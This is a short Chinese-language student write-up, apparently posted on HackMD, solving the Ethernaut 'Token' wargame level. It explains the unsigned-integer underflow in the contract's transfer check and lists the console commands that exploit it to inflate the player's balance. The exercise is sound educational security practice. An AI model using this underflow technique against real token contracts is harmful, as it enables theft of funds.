# Ryan 第八週作業 ## [Ethernaut](https://ethernaut.openzeppelin.com/) 挑選一題 Token  題目講解  先取得實例地址 Get new instance console 輸入 instance 可以得到實例地址  實例地址 : 0x66266994dB0B60D0cEcEa0dE26cB794F58a9562C ### 檢查漏洞 由於balances[msg.sender]跟_value的型態都是uint uint代表了unsigned integers,即無負數整數 所以balances[msg.sender] – _value永遠不會少於零 當轉21的時候會發生溢位,導致數值變大,數值為2^256 - 1 ### 開始實作 console 輸入 player 查詢玩家地址  console 輸入 await contract.balanceOf(player) 查詢目前餘額 有20個代幣  console 輸入 level 查詢level地址  console 輸入 await contract.transfer(level, 21) 轉21個代幣給level地址  console 輸入 輸入 await contract.balanceOf(player) 查詢目前餘額 發現餘額數量非常多  點擊 Submit instance 送出 完成會出現以下訊息  ###### tags: `Solidity 工程師實戰營第 5 期`
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up